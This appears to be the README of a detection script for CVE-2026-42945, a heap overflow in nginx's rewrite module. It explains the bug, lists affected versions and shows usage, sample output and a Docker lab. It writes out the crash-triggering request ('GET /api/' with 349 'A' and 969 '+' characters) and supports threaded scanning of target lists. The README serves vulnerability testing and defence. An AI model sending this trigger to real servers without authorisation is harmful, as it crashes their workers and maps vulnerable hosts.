Behavioral detection script for CVE-2026-42945 (NGINX Rift) — a heap buffer overflow in ngx_http_rewrite_module present in nginx since 2008.
This tool is intended solely for authorized security testing and research. Only run this against systems you own or have explicit written permission to test. Unauthorized use may violate computer crime laws in your jurisdiction. The author is not responsible for any misuse or damage caused by this tool.
CVE-2026-42945 is a heap buffer overflow in nginx's rewrite script engine (ngx_http_rewrite_module), introduced in version 0.6.27 (2008) and present for ~18 years.
The bug comes from a mismatch between two passes of the rewrite engine:
- Pass 1 (length calculation): sees
is_args = 0→ allocates a small buffer - Pass 2 (data copy): sees
is_args = 1→ callsngx_escape_uri, expanding each escapable byte (like+) to 3× its size → overflows the heap buffer
This allows unauthenticated remote code execution.
Affected versions:
| Product | Vulnerable | Patched |
|---|---|---|
| NGINX Open Source | 0.6.27 – 1.30.0 | 1.30.1, 1.31.0+ |
| NGINX Plus | R32 – R36 | R36 P4, R35 P2, R32 P6 |
References:
This script does not attempt RCE. It mimics the PoC's flow using raw sockets:
- Canary — sends 3 normal requests to confirm the server is stable before testing
- Heap spray — opens 20 connections to hold memory
- Trigger — sends
GET /api/<349×A><969×+>as a partial HTTP request - Probe — if the trigger socket closes unexpectedly (worker crashed and respawned), the target is flagged as vulnerable
Detection relies on crashing a worker process. The nginx master will respawn it immediately, but there will be a brief interruption. Use with caution on production systems.
# Single target (HTTP)
python3 detect-CVE-2026-42945.py --host 127.0.0.1 --port 80
# Single target (HTTPS)
python3 detect-CVE-2026-42945.py --host example.com --port 443 --tls
# List of targets
python3 detect-CVE-2026-42945.py -l targets.txt
# With threading and output file
python3 detect-CVE-2026-42945.py -l targets.txt --threads 10 -o vulnerable.txt
# More attempts for unreliable targets
python3 detect-CVE-2026-42945.py --host 10.0.0.1 --port 8080 --tries 5targets.txt format — one per line:
http://example.com
https://example.com:8443
192.168.1.1
192.168.1.1:8080
Options:
--host Single target host
--port Port (default: 80, or 443 with --tls)
--tls Use TLS/HTTPS for single target
-l, --list File with list of targets
--tries Detection attempts per target (default: 3)
--threads Concurrent threads for list scan (default: 5)
-o, --output Save vulnerable targets to CSV file
[*] CVE-2026-42945 NGINX Rift Detection | targets=2 threads=5 tries=3
[*] http://192.168.1.1:80 - nginx/1.28.0
[*] http://192.168.1.2:8080 - nginx/1.31.0
[!!!] VULNERABLE | http://192.168.1.1:80 | nginx/1.28.0 | worker crash (trigger connection closed — worker respawned)
[+] http://192.168.1.2:8080 - not vulnerable (or timing miss, try --tries 5)
==================================================
[*] Scan complete. 2 targets scanned.
[!!!] 1 VULNERABLE target(s):
http://192.168.1.1:80 (nginx/1.28.0)
==================================================
The original repo includes a Docker lab environment:
git clone https://github.com/DepthFirstDisclosures/Nginx-Rift
cd Nginx-Rift
chmod +x setup.sh && ./setup.sh
docker compose -f env/docker-compose.yml up -d
python3 detect-CVE-2026-42945.py --host 127.0.0.1 --port 19321MIT — see LICENSE
Original vulnerability research and PoC: DepthFirstDisclosures